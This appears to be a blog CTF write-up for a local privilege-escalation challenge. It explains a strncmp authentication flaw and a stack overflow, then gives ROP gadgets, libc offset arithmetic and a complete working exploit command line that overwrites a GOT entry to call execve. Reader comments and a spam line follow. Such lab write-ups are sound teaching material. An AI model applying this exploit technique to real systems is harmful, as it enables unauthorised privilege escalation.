This challenge, we were given the ssh account to Ubuntu 10.10. We have to exploit the binary inside /home/vuln1 to get the vuln1 privilege and grab the flag. ASLR and NX are enabled. The binary was compiled without stack cookie, PIE.
After reading the assembly in IDA, I wrote the code in C (vuln300.c). Below is the important parts.
char gbuffer[512]; // 0x0804a0a0 int authenticated; int authen(char *username, char *password) { snprintf(gbuffer, 513, "%s:%s", username, password); if (!authenticated) authenticated = (strncmp(gbuffer, "s0m3b0dy:15n0b0dy", 17) == 0); return authenticated; } void add_user(newusername, newpassword, filename) { char buffer[512]; char user_len, pass_len; user_len = (char) strlen(newusername); strncpy(buffer, newusername, 511); pass_len = (char) strlen(newpassword); strncat(buffer, newpassword , 512); fprintf(stdout, "New user %s added to %s!\n", newusername, filename); }
Problem in authen() function
The authen() function use strncmp() for compare the string. So we can authenticate with username that starts with "s0m3b0dy:15n0b0dy". Additional, gbuffer address is static (0x0804a0a0) because binary is not PIE. We can use gbuffer to put the payload here to create a reliable exploit.Problem in add_user() function
It is obvious that there is buffer overflow problem in this function. We can overwrite saved ebp and saved eip. But we should not write past the saved eip because fprintf might be crashed if the newusername address is invalid.With above 2 problems (plus GOT is writable), I came up with these steps.
- Overwrite saved ebp for moving the esp to gbuffer area with "leave; ret"
- Put the ROP stack in gbuffer to add the address in GOT entry to point to execve() function
- Call the execve()
To achieve the step 2, I used ROPEME to find the gadgets. Because we want only add the value in a static address (GOT entry), here is the interested gadgets
0x8048559L: add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;; 0x8048418L: pop eax ; pop ebx ; leave ;;
The second gadget is for setting eax and ebx. Then we can use the first gadget to change the value of GOT entry. I modified the sleep() entry at address (0x804a01c).
$ objdump -T libc.so.6 | grep -w sleep 00098e50 w DF .text 00000299 GLIBC_2.0 sleep $ objdump -T libc.so.6 | grep -w execve 00099510 w DF .text 0000005a GLIBC_2.0 execve
Some needed computation
- The offset from sleep() to execve() in libc is 0x00099510 - 0x00098e50 = 0x6c0
- The eax before calling first gadget should be 0x1000006c0 - 0x0804a064 = 0xf7fb665c
- The ebx before calling first gadget should be 0x10804a01c - 0x5d5b04c4 = 0xaaa99b58
Here is my exploit that will call execve("0dy", 0, 0) (I used "0dy" string from "s0m3b0dy:15n0b0dy" at address 0x08048a24)
$ /home/vuln1/vuln300 -us0m3b0dy:15n0b0dyAA `perl -e 'print "-p","\xc4\xa0\x04\x08","\x18\x84\x04\x08","\x5c\x66\xfb\xf7","\x58\x9b\xa9\xaa","\xc4\xa0\x04\x08","\x59\x85\x04\x08","\xd5\x88\x04\x08","\x24\x8a\x04\x08"'` -fa `perl -e 'print "-x","A"x510'` `perl -e 'print "-yAAAA","\xb4\xa0\x04\x08","\x1a\x84\x04\x08"'` ... $ cat flag.txt 33f9876804c9a14e927e5d1d70a64ace
thack you : )
ReplyDeleteIN GOT ENTRY, is there execve function? I can't find it.
ReplyDeleteHow do you find it?
Of course not. There is no execve function in GOT entry because no calling execve in the program.
ReplyDeleteAlso we do not know the address of execve address in libc because libc address is random. But we know the relative address of execve to another function (in my writeup is sleep).
Great and that i have a super provide: How Much Home Renovation Cost remodel garage into living space
ReplyDelete